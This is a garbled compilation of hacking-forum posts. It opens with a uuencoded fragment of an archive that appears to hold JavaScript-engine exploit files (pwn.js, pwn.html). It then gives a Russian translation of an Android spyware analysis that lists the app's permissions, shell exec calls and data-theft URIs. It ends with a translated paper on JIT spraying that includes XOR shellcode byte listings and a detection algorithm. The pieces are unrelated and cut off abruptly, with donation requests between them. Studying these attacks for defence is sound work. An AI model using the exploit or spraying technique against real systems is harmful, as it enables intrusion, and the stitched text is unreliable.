MJ-=ZD_^ABSK@,Y8#]W1-"K]:A^4:JJDEK.L*S//5B/?%B`(O1.7BTFOJ^J9R
MJ;,.R:VO1X&4@)02'V:WWXY3=M8Z$`C1\]J!&:/2>67:^P>@%V)9$0FI9&^>
MQ@2$'-1$OF#H@(JXHLH44)24A4$<7F1GSBWO>H=[ITN4P>Q7O#]VXKM+ARW%
ME[BIRX%E7TN]="AENJZI4)@.K?,7;@S9[=8HL@/"II1EF(8:5^D&[2D]'72Z
M'Z7L$S(5Z@J^$.L5CJK0WD9I8Z:UE-*^ULJ9&?L;F4"&EKL\/O):A:]V4WG#
M?`0$>0U;#=+3-UQ8PV>D3"G@@'`N'4!HM:8(M5MGKAFWLA%.D@8R#-SD9'Z$
M#MZRK;)XVDD-)'-3F;OJ2O=2*K55MW]L`&Z3M^`W(7U[G!*?\-OJ_501AA,O
M`Y$I;?+@ZD_7Y+D;/^!]J,D=:1^TLDCE%W,FE/HK;!5UT.T&I^2J2[XQZA,9
M,?)_X=\N@^>?3=\:1BQKP-#2LEGCHL!^YP4!;R[/W,24<4IZ:JX[PE3J\F'K
M*#K-RQN1-:Z4FQ%0GC6HVC2O$YI4K$,-&;$T38<_8D3>4`EX375+V;*&E
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
M@1L;#:\5E9#,R!84JS!=MZ[$;*7S1N)U0C3QJF@RASR3_FR37C(L_4)*G3&<
M?:QF.6B5X:<&=M#HY4;QC%M+DU9R5@,+8+H0(6_(XRA!]GG9*'J!KKEAW75Y
M]'U3%-P$-8+[O05>^G!RWLG03\CO`@%'9#0GH4R$;C!WN@[X`7VZ?@)>2,W<
MV4\>'^"O0^0!/CZ-P5;$[N+X,_`CL,"RLN&Q^?I>A]"$4)L^3H?(\=KB4M^-
M%R#X>D4CZ^MM1LEN(X]JX=U&/;Z?PLB`]XO)\3N<TG<\1I=[[/WX"O>#_42W
MT4)ZPOWXX%ZD:O[_<KP6_[-FO5-2RUWW;WI4MT[;Q]4@[Q\8#L]><M^W,ZUG
MCUI?Q)T6<>IT3;G!@$.R<]E%;+<PYCC)LP1W^0U02P$"'@,*``````!1KD9)
M````````````````!``8`````````!``[4$`````<W)C+U54!0`#":OV5W5X
M"P`!!/4!```$4````%!+`0(>`Q0````(`!>N1DFX3#HD=P,``"8)```.`!@`
M``````$```"D@3X```!S<F,O96UA:6PN:'1M;%54!0`#G:KV5W5X"P`!!/4!
M```$4````%!+`0(>`Q0````(`/1N1DD56OBT%@8``&@2```,`!@```````$`
M``"D@?T#``!S<F,O:6YT-C0N:G-55`4``[L[]E=U>`L``03U`0``!%````!0
M2P$"'@,4````"``/KD9)E(.)\4P#``!0"```#``8```````!````I(%9"@``
M<W)C+W!W;BYH=&UL550%``..JO97=7@+``$$]0$```10````4$L!`AX#%```
M``@`)*Y&2>G85Y(7"@``Z!H```H`&````````0```*2!ZPT``'-R8R]P=VXN
M:G-55`4``[.J]E=U>`L``03U`0``!%````!02P$"'@,4````"`"Z;D9)MPF8
M]%<#``!?"```#``8```````!````I(%&&```<W)C+W5T:6QS+FIS550%``-0
H._97=7@+``$$]0$```10````4$L%!@`````&``8`Y`$``.,;````````
`
end
**Переведено специально дляhttps://xss.is
Переводчик статьи - https://xss.is/members/177895/ **
Оригинал - http://www.phrack.org/papers/attacking_javascript_engines.html
Переведено специально для xss.is by Stalker
Ссылка на ориг. статью
](https://www.securisec.com/tools/python/mobile_hunter/)
MobileHunter Analysis using glorifiedgrep
www.securisec.com
MobileHunter Анализ с использованием glorifiedgrep
Это быстрое и краткое описание того, как модуль Python "glorifiedgrep" можно
использовать для быстрого анализа приложений Android. Это не полный анализ
приложения. Анализ проводился с использованием glorifiedgrep версии 0.9.3.
Анализ можно посмотреть в следующем asciinema. Пожалуйста, поймите, что это не
полный анализ, а очень краткое введение в glorifiedgrep.
Прочитать полный анализ тут и
тут.
Класс GlorifiedAndroid для glorifiedgrep предлагает более 200+ различных методов для анализа Android, но здесь показаны только очень немногие. Обратитесь к полной документации для всего анализа.
Также имейте в виду, что glorifiedgrep не является модулем обнаружения уязвимостей. Это помогает быстро определить области, представляющие интерес, что следует дополнительно изучить.
Анализ**
Для использования glorifiedgrep, во-первых, нам нужно создать экземпляр класса GlorifiedAndroid.
Code:Copy to clipboard
g = GlorifiedAndroid('/tmp/base.apk')
Получение хэш приложения.
Мы можем получить хеш приложения, используя:
Code:Copy to clipboard
>>> g.file_hash_of_apk()
{'md5': '155945a28c2b0158f47eb6a6351d795d',
'sha1': 'ac9516e7cb14dced53504a93ef36b7a1edc6e017',
'sha256': 'dc12d5c78117af8167d8e702dd131f838fe86930187542cf904b2122ba32afd1'}
Опасные разрешения
Мы можем получить список опасных разрешений, которые используются приложением,
используя :
Code:Copy to clipboard
>>> g.manifest_dangerous_permission()
['android.permission.READ_CALENDAR',
'android.permission.READ_SMS',
'android.permission.READ_CONTACTS',
'android.permission.READ_PHONE_STATE',
'android.permission.WRITE_EXTERNAL_STORAGE',
'android.permission.RECEIVE_SMS',
'android.permission.CAMERA',
'android.permission.RECORD_AUDIO',
'android.permission.ACCESS_COARSE_LOCATION']
Типы файлов
Наши поиски указали на то, что этот apk файл находится с несколькими исполняемыми файлами. Давайте использовать glorifiedgrep, чтобы получить все типы файлов, которые связаны с этим приложением.
Code:Copy to clipboard
>>> g.file_get_file_types(exclude=['xml', 'png'])
{'application/octet-stream': ['/tmp/GlorifiedAndroid/unzipped/resources.arsc',
'/tmp/GlorifiedAndroid/unzipped/classes.dex',
'/tmp/GlorifiedAndroid/unzipped/META-INF/CERT.RSA',
'/tmp/GlorifiedAndroid/unzipped/assets/xbin/bk_samples.bin'],
'image/png': [],
'audio/x-wav': ['/tmp/GlorifiedAndroid/unzipped/res/raw/beep.wav'],
'text/plain': ['/tmp/GlorifiedAndroid/unzipped/META-INF/MANIFEST.MF',
'/tmp/GlorifiedAndroid/unzipped/META-INF/CERT.SF',
'/tmp/GlorifiedAndroid/unzipped/assets/xbin/id.conf',
'/tmp/GlorifiedAndroid/unzipped/assets/xbin/terrorism_apps.csv'],
'application/x-sharedlib': ['/tmp/GlorifiedAndroid/unzipped/assets/xbin/getVirAccount',
'/tmp/GlorifiedAndroid/unzipped/assets/xbin/gen_wifi_cj_flag_pie',
'/tmp/GlorifiedAndroid/unzipped/assets/xbin/wifiscan_pie'],
'application/x-executable': ['/tmp/GlorifiedAndroid/unzipped/assets/xbin/wifiscan',
'/tmp/GlorifiedAndroid/unzipped/assets/xbin/gen_wifi_cj_flag']}
Используя один простой метод, мы можем увидеть различные двоичные файлы, которые включены в приложение вместе с файлом приложений, занесенным в черный список.
Выполнение команд оболочки
Вместо использования JNI, приложение непосредственно выполняет некоторые из предварительно упакованных двоичных файлов в оболочке. Мы можем видеть случаи исключения оболочки здесь, используя следующий код
Code:Copy to clipboard
>>> g.code_command_exec().out
[{'file': 'sources/com/fenghuo/utils/ShellCommands.java',
'line': '43',
'match': '.exec(str)'},
{'file': 'sources/com/fenghuo/utils/ShellCommands.java',
'line': '76',
'match': '.exec(str)'},
{'file': 'sources/com/fenghuo/utils/ShellCommands.java',
'line': '89',
'match': '.exec("chmod 777 " + str).waitFor()'}]
Чтение конфиденциальной информации
Поиски также указали, что приложение будет читать различную конфиденциальную
информацию о пользователях, включая SMS, записи календаря и журналы вызовов.
Как правило, эта информация получается из средств разрешения контента.
glorifiedgrep предлагает удобный метод получения URL-адресов для различного
содержимого. Используя небольшое понимание списка, давайте соберем все
средства разрешения контента, к которым обращается это приложение. Мы также
включим в наш анализ только код приложения.
Code:Copy to clipboard
>>> [x['match'] for x in g.other_content_urlhandler().in_file('feng').out]
['content://com.android.calendar/events',
'content://calendar/events',
'content://sms',
'content://sms/icc',
'content://sms/sim',
'content://com.android.contacts/contacts',
'content://com.android.contacts/contacts/',
'content://icc/adn',
'content://sim/adn',
'content://sim/adn',
'content://icc/adn']
Запросы приложений для установленных пакетов
Собственный класс PackageManager и его метод getInstalledPackages из Android
SDK могут использоваться приложением для перечисления установленных приложений
на устройстве. Мы можем видеть это, используя:
Code:Copy to clipboard
>>> g.code_package_installed()
[{'file': 'sources/com/fenghuo/qzj/WelcomeActivity.java', 'line': '715', 'match': '.getInstalledPackages(8192)'}]
Приложение делает POST-запросы
Исследования показали, что это приложение будет публиковать все перечисленные
данные. Мы можем увидеть запросы POST в
Code:Copy to clipboard
>>> g.code_apache_http_post_request()
[{'file': 'sources/com/fenghuo/http/HttpManager.java', 'line': '65', 'match': 'new HttpPost(reqEvent.getReqUrl())'}]
Кодированный IP-адрес
Мы знаем, что приложение попытается отправить данные на локальный 192 IP-
адрес. Мы можем увидеть те, в
Code:Copy to clipboard
>>> g.other_ip_address().out
[{'file': 'sources/com/fenghuo/utils/Global.java',
'line': '554',
'match': '192.168.43.1'},
{'file': 'sources/com/fenghuo/utils/Util.java',
'line': '1045',
'match': '0.0.0.0'}]
Переменные среды
Мы также видим, что приложение пытается получить доступ к внешнему хранилищу,
чтобы сохранить свои данные. Мы можем сделать это, проверив, к каким
переменным среды он пытается получить доступ.
Code:Copy to clipboard
>>> g.code_get_environment_var().out
[{'file': 'sources/com/fenghuo/qzj/WelcomeActivity.java',
'line': '322',
'match': 'getenv("EXTERNAL_STORAGE")'},
{'file': 'sources/com/fenghuo/qzj/WelcomeActivity.java',
'line': '325',
'match': 'getenv("SECONDARY_STORAGE")'}]
Заключение
Как мы видим, мы можем выполнить анализ приложений Android с помощью
glorifiedgrep очень быстро.
P.S. Поддержать переводы печеньками к чаю:
QIWI +380999543560
Yandex.Money 410018707581713
**JIT spraying and mitigations
Аннотация**
С открытием новых методов эксплуатации, механизмы защиты также необходимы. Смягчающие меры, такие как DEP (предотвращение выполнения данных) или ASLR (рандомизация адресного пространства) создала значительно более сложную среду для эксплуатации. Злоумышленники однако недавно исследовали новые методы эксплуатации, способные обходить защиты и использовать память операционной системы. JIT-Spraying это один из новейших и самых популярных методов эксплуатации, который позволяет обойти оба вышеупомянутые средства защиты.
В этой статье мы представим краткий обзор техники JIT-Spraying, а также новые методы защиты от этого инновационного класса атак. Библиотека Anti-JIT была создана как часть системы предотвращения выполнения Shell-кодов.
1. Введение
Microsoft реализовала механизмы смягчения эксплуатации, такие как DEP и ASLR. Предотвращение выполнения данных (DEP) - это механизм безопасности, который запрещает приложению выполнять код из области памяти помеченной как неисполняемой.
Чтобы эксплуатировать уязвимость, злоумышленник должен сначала найти исполняемую память, а затем сможет заполнить эту память необходимыми данными (то есть, инструкциями Shell-кода). Как правило для достижение этой цели с использованием старых методов эксплуатации значительно затрудняется с добавлением механизма DEP.
В результате злоумышленники усовершенствовали классический метод возврата в libc (ret2libc) и начали использовать Возвратно-ориентированное программирование (ROP) для обхода DEP.
Тем не менее, такие методы, как ROP, все еще полагаются на то, что злоумышленник понимает характеристики структуры памяти Microsoft для реализации ASLR (Рандомизации адресного пространства) в качестве контрмеры.
ASLR делает макет адресного пространства приложения менее предсказуемым, поскольку он перемещает базовые адреса исполняемых модулей и другие отображения памяти. Техника распыления JIT была введена для обхода ASLR и DEP одновременно. В этой статье мы представляем наши новые механизмы, которые созданы специально для предотвращения техники распространения JIT из успешного исполнения. Это исследование предназначалось для операционных систем Microsoft Windows с архитектурой процессора x86-32. Меры по смягчению последствий специально направлены на ActionScript (Объектно-ориентированный язык программирования). JIT-компилятор, который в настоящее время интенсивно используется для этого типа атаки.
2. JIT-Spaying
Есть две основные причины, по которым распыление JIT - это очень полезный метод эксплуатации. Во-первых, код, сгенерированный компилятором JIT, храниться в памяти, помечена как исполняемая. Это очевидно, потому что в противном случае JIT-компилятор не сможет корректно работать в системах, поставляемых с функциями DEP. Очевидно, если код злоумышленника генерируется двигателем JIT, он также будет находиться в исполняемой область. Другими словами, DEP не участвует в защите кода, испускаемого JIT компилятором. Это очень полезный метод, так как память не была помечена как исполняемая в предыдущих подходах, таких как обычное распыление кучи.
Причина, по которой распыление JIT является мощной, заключается в том, что местоположение кода может быть предсказано правильно, поэтому в этот момент ASLR также больше не представляет большой угрозы для атакующего. В этой статье мы сосредоточимся на обнаружении генерации JIT-кода, необходимого для обнаружения адресов, обсуждаемых в ссылочных цитатах. Читателю рекомендуется иметь полное понимание ссылочной работы.
2.1 Генерация кода JIT
Компиляция Just-In-Time (JIT) преобразует код во время выполнения; обычно из
байт-кода в машинный код.
Благодаря этому значительно улучшается производительность интерпретируемой
программы. JIT метод распыления «Заставляет» JIT-компилятор создавать
множество исполняемых страниц со встроенным кодом злоумышленника для того,
чтобы написать код в определенное место, JIT Компилятор должен сначала
отметить целевую память как доступную для записи. Так как несколько
сгенерированных кусков кода может находиться на той же странице памяти,
компилятор JIT помечает всю страницу как RWX (Читаемый-записываемый-
исполняемый файл). Эти разрешения необходимы, потому что другой кусок памяти
находится на этой же странице и может выполняться асинхронно (например, другим
потоком), приводя к нарушению доступа, если запрошенная страница памяти была
не исполняемая в тот момент. После того как код помечает регион назначения как
RX - читаемый и исполняемый, файл больше не доступен для записи.
Code:Copy to clipboard
Requests :
MEM : 0 x057d0090 size =1 prot =RWX
MEM : 0 x057d0090 size =c prot =RX
Generated code :
0 x057d0090 mov edx ,[ esp +0 ch ]
0 x057d0094 mov ecx ,[ edx]
0 x057d0096 call 0 fdea9d1ah
0 x057d009b ret
Requests :
MEM : 0 x057d0170 size =1 prot=RWX
MEM : 0 x057d0170 size =1a prot=RX
Generated code :
0 x057d0170 mov edx ,[ esp +0 ch ]
0 x057d0174 push dword [edx +0 ch ]
0 x057d0177 push dword [edx +08 h]
0 x057d017a push dword [edx +04 h]
0 x057d017d mov ecx ,[ edx]
0 x057d017f call 0 fdea5601h
0 x057d0184 mov eax ,04 h
0 x057d0189 ret
Код 1: Примерный список изменений памяти, запрошенный компилятором JIT.
Чтобы заставить JIT-компилятор генерировать код, включая данные Shell-кода,
злоумышленники должны использовать операторов ActionScript. Хотя ActionScript
состоит из нескольких операторов, таких как: арифметический, сложно
арифметический, присваиваемый, побитовый и т. д. В настоящее время
используется только один известный Shell-код. Код 2 представляет
сгенерированный код для нескольких, различных типов операторов (выражение
используется: a OP b OP c OP d ...). В качестве тестового примера
Значения данных, которые мы использовали, взяты из одного из самых доступных
JIT-кодов оболочки.
Код 2 показывает, что когда дело доходит до операторов ActionScript, то только
XOR, кажется, производит желаемый результат. Например, с оператором XOR
атакующий контролирует четыре байта каждого отдельного блока. В других случаях
аргументы выражения не обеспечивают точного и предсказуемого контроля над
испускаемыми блоками кода.
Code:Copy to clipboard
Operator XOR (^):
[b8 90 90 90 3c ] mov eax ,03 c909090h
[35 90 90 90 3c ] xor eax ,03 c909090h
[35 90 90 90 3c ] xor eax ,03 c909090h
[35 90 90 90 3c ] xor eax ,03 c909090h
[35 90 90 90 3c ] xor eax ,03 c909090h
[35 90 90 90 3c ] xor eax ,03 c909090h
[35 90 90 90 3c ] xor eax ,03 c909090h
...entire block of xors...
[35 31 d2 58 3c ] xor eax ,03 c58d231h
[35 80 ca ff 3c ] xor eax ,03 cffca80h
...
Operator ADD (+):
[b8 90 90 90 3c ] mov eax ,03 c909090h
[f2 0f 2a c0 ] cvtsi2sd xmm0 , eax
[66 0f 28 c8 ] movapd xmm1 , xmm0
[f2 0f 58 c8 ] addsd xmm1 , xmm0
[f2 0f 58 c8 ] addsd xmm1 , xmm0
...addsd...
[b8 31 d2 58 3c ] mov eax ,03 c58d231h
[f2 0f 2a c0 ] cvtsi2sd xmm0 , eax
[f2 0f 58 c8 ] addsd xmm1 , xmm0
[b8 80 ca ff 3c ] mov eax ,03 cffca80h
[f2 0f 2a c0 ] cvtsi2sd xmm0 , eax
[f2 0f 58 c8 ] addsd xmm1 , xmm0
...so on...
Operator MUL (*):
[b8 90 90 90 3c ] mov eax ,03 c909090h
[f2 0f 2a c0 ] cvtsi2sd xmm0 , eax
[66 0f 28 c8 ] movapd xmm1 , xmm0
[f2 0f 59 c8 ] mulsd xmm1 , xmm0
[f2 0f 59 c8 ] mulsd xmm1 , xmm0
...mulsd...
[b8 31 d2 58 3c ] mov eax ,03 c58d231h
[f2 0f 2a c0 ] cvtsi2sd xmm0 , eax
[f2 0f 59 c8 ] mulsd xmm1 , xmm0
[b8 80 ca ff 3c ] mov eax ,03 cffca80h
[f2 0f 2a c0 ] cvtsi2sd xmm0 , eax
[f2 0f 59 c8 ] mulsd xmm1 , xmm0
...so on...
Operator DIV (/):
[b8 90 90 90 3c ] mov eax ,03 c909090h
[f2 0f 2a c0 ] cvtsi2sd xmm0 , eax
[66 0f 28 c8 ] movapd xmm1 , xmm0
[f2 0f 5e c8 ] divsd xmm1 , xmm0
[f2 0f 5e c8 ] divsd xmm1 , xmm0
...divsd...
[b8 31 d2 58 3c ] mov eax ,03 c58d231h
[f2 0f 2a c0 ] cvtsi2sd xmm0 , eax
[f2 0f 5e c8 ] divsd xmm1 , xmm0
[b8 80 ca ff 3c ] mov eax ,03 cffca80h
[f2 0f 2a c0 ] cvtsi2sd xmm0 , eax
[f2 0f 5e c8 ] divsd xmm1 , xmm0
...so on...
С помощью выражения можно изменить содержимое указанных блоков и сделать их более зависимыми от аргументов злоумышленника, но XOR оператор, кажется, лучший вариант для использования Shell-кода, и именно поэтому, вероятно, каждый известный JIT Shell-код использует этот оператор. Однажды злоумышленник может распылить контролируемый исполняемый файл инструкции в кучу, остальная часть процесса эксплуатации идет по стандартному маршруту. Главная идея здесь заключается в том, чтобы распылить память с инструкциями, которые включают полезную нагрузку злоумышленника, а затем смогут перенести исполнение туда (как, например, быть в состоянии указания инструкции (EIP) на адрес XOR EAX).
3. Методы предотвращения использования памяти
Чтобы остановить JIT-распыления, мы должны быть в состоянии решить, является
ли код сгенерированным7 Движок Just-In-Time должен быть помечен как Shell-код
или нет? Это не тривиальная задача, так как Shell-код детектор не должен
сильно влиять на исходную производительность программы, и он также должен быть
свободным от ложных срабатываний оповещений. На данный момент есть два
основных подхода для реализации в детекторе Shell-кода:
• Подход обнаружения подписи (сканирование для NOP слайдов, кода GetPC, кода
декодирования (дешифрования) и т. д.)
• Эвристический подход обнаружения.
Детекторы на основе сигнатур наиболее просто реализовать, но они также имеют тенденцию генерировать высокое количество ложных срабатываний. Обнаружение подписи часто недостаточно, так как злоумышленник может обойти его, построив код другим способом. Чтобы сделать процесс обнаружения более надежные и менее статичные, мы решили использовать эвристический подход обнаружения. Как показано в подразделе 2.1, перед выполнением кода, сгенерированного JIT, защиту памяти нужно изменить на RX (Читаемым). Для этого движок JIT выполняет функцию API VirtualProtect. Похоже, что сгенерированный JIT код всегда начинается с адреса памяти, указанного в качестве параметра VirtualProtect API. Это может быть серьезным преимуществом для целей обнаружения, поскольку на данный момент мы знаем выбранный адрес (аргумент API). Всегда действительная отправная точка (точка входа) для разбора. Второй очень полезный фактор здесь то, что сгенерированный код, который обычно содержит встроенный Shell-код генерируется в очень особенном стиле (см. код 2):
Code:Copy to clipboard
mov reg , IMM32
operation reg , IMM32
So in case of XOR operator :
mov eax , IMM32
xor eax , IMM32
xor eax , IMM32
...
Наш эвристический метод обнаружения прост, но очень надёжен. Как показано в Коде 3, каждый Shell-код JIT в настоящее время генерирует доступные инструкции, которые используют 32-битные непосредственные значения в качестве исходного операнда и целевой операнд такой инструкции всегда является регистром, который был предварительно инициализирован другим 32-битным непосредственным значением. Инициализация, как правило, MOV Reg, IMM32 или в большинстве случаев MOV EAX, IMM32. Наш алгоритм обнаружения описывается следующим образом (алгоритм 1):
Code:Copy to clipboard
Algorithm 1: JIT shellcode detection
input : region_addr, region_size
output: detection marker
begin
foreach found_mov_imm32 do
numinstr ←− 0;
numbadinstr ←− 0;
while numinstr < MAXinum do ;
instr ←− disasm_next_instr();
if !instr or is_terminator(instr)
then
break;
if uses_imm32_operands(instr)
then numbadinstr ←− numbadinstr + 1;
numinstr ←− numinstr + 1;
if numbadinstr > MAXibadnum then
report_shellcode();
где:
• numinstr - представляет количество разобранных инструкций
• numbadinstr - представляет количество «плохих» инструкции, другими словами
инструкции, которые используют 32-битные непосредственные операнды
• is_terminator - представляет функцию, которая проверяет, должна ли текущая
дизассемблированная инструкция быть помечена как terminator (такие команды,
как CALL, RET, JMP и т. д. должны считаться “терминаторами”)
• used_imm32_operands - представляет функцию, которая проверяет, использует ли
текущая обработанная инструкция 32-битные непосредственные операнды
• MAXibadnum - представляет собой статическое число которое описывает
максимальное количество "плохих" инструкции в разобранном блоке.
Наш алгоритм вычисляет количество неверных инструкций (инструкции, которые используют 32-битные непосредственные операнды как источник) начиная с инициализации инструкции. Этот алгоритм не предполагает конкретный регистр назначения (поэтому неважно, если EAX используется или любой другой регистр процессора x86-32). Кроме того, он продолжает считать количество плохих инструкций, даже если они разделены каким-то другим инструкциями, которые не используют 32-битные операнды (например, по какой-либо инструкции MMX / SIMD или любой другой, которая не использует 32-битный непосредственный операнд, если он не является терминатором блока). Также стоит добавить, что вся процедура сканирования происходит до того, как злоумышленник получит возможность использовать код, сгенерированный движком JIT. Так как мы постоянно отслеживаем все вновь созданные регионы, то кто то может возразить, что проще начать разборку с точки входа, чем искать для MOV Reg, IMM32. Однако это более дорогой подход, так как скорость этого метода будет напрямую зависеть от размера блока, генерируемого механизмом JIT - чем длиннее блок, тем медленнее алгоритм. Во-вторых, разборка всегда очень дорогостоящий процесс, когда дело доходит до производительности. В поисках MOV Reg, IMM32 и начиная с этого момента мы не должны выполнять разборку всего региона.
4.Контрмеры
Как мы уже описывали в подразделе 2.1, злоумышленник обычно контролирует 32-битный операнд. Это даёт ему возможность использовать 24 бита контролируемого значения для кодирования команд Shell-кода (поскольку один байт обычно уже используется, чтобы выполнить NOP (т.е. CMP AL)). Чтобы обойти нашу защиту, злоумышленник может попытаться создать свой Shell -код, создав несколько неких площадок, связывая их с короткими переходами JMP / JCC (так как они имеют длину всего 2 байта). Делая это, злоумышленник может уменьшить количество отправляемых инструкций, использующих 32-битные непосредственные операнды, и переместить их через разные области памяти. Тем не менее, мы уже создали рабочее смягчение для этого метода путем дополнительного сканирования непосредственного значения для кодов операций JMP / JCC.
Поскольку эти переходы всегда короткие, атакующий может прыгнуть только в область от -128 до +127 байт из инструкции перехода. Учитывая тот факт, что с помощью этого метода злоумышленник теряет дополнительное место для ценных инструкций шелл-кода, он должен генерировать относительно большое количество инструкций перехода. В нашем методе мы не только сканируем коды операций JMP / JCC внутри непосредственного значения, но также проверяем, указывает ли адрес назначения таких переходов на допустимое местоположение, которое также включает другую инструкцию перехода и так далее. Другими словами, мы пытаемся проверить потенциальную цепочку прыжков. Этот шаг необходим для того, чтобы избежать ложных срабатываний. Соединяя этот подход с ранее описанными в разделе 3, мы значительно усложнили смягчение последствий распыления JIT.
5. Отзывы
Испытания показали, что библиотека защиты от распыления JIT не генерирует ложных срабатываний при просмотре типичных сайтов, перегруженных ActionScript и флэш-анимацией. Сама библиотека не внесла каких-либо заметных изменений в производительность исходного приложения. Все тесты были выполнены на Flash версии 10с (в операционных системах Microsoft Windows Vista и XP).
6. Заключение
В этой статье мы представили основные концепции распыления памяти JIT. Этот метод является хорошей контрмерой против таких механизмов защиты, как DEP и ASLR, и, кроме того, он становится все более популярным. Чтобы предотвратить успешное использование атак методом распыления JIT, мы разработали надежные и быстрые методы смягчения последствий. Мы надеемся, что читатель нашел эту статью интересной.
Дополнительная литература
[1] Alexey Sintsov. Writing JIT Shellcode for fun and profit.
[2] Piotr Bania. Evading network-level emulation. Technical Report
arXiv:0906.1963, Jun 2009. Comments: 7 pages.
[3] Dion Blazakis. Interpreter Exploitation: Pointer Inference and JIT
Spraying. http://
www.semantiscope.com/research/BHDC2010/
BHDC-2010-Paper.pdf.
[4] Erik Buchanan, Ryan Roemer, Stefan Savage, Hovav Shacham. Return-oriented
Programming: Exploitation without Code Injection.
https://www.blackhat.com/presentations/ bh-usa-08/Shacham/BH_US_08_Shacham_
Return_Oriented_Programming.pdf.
[5] Yuri Gushin. NIDS polymorphic evasion - The End?
http://www.milw0rm.com/papers/18.
[6] Samuel Patton, William Yurcik, and David Doss. An Achilles’ Heel in
Signature-Based IDS: Squealing False Positives in SNORT. http://
www.scs.carleton.ca/~soma/id-2007w/
readings/patton_yurcik_doss_raid2001. pdf, 2001.
[7] Hovav Shacham. The geometry of innocent flesh on the bone: Return-into-
libc without function calls (on the x86). In Sabrina De Capitani di Vimercati
and Paul Syverson, editors, Proceedings of CCS 2007, pages 552–61. ACM Press,
October 2007.
[8] CLET Team. Polymorphic shellcode engine using spectrum analysis. Phrack
Magazine Issue #65, 2003.
Это был мой второй перевод статьей для XSS, а предложил мне её опять же weaver . И того более 2.200 слов в данной статье, которые я попытался перевести для вас.
Если вы хотите меня поддержать, то можете задонатить мне на QIWI кошелёк
79054863063 на поездку в Польшу с классом (Да, я ещё школьник) или же купить
Nord VPN в моей теме: https://xss.is/threads/30205/
Оригинальная статья: <https://www.piotrbania.com/all/articles/pbania-jit-
mitigations2010.pdf>
Вступление
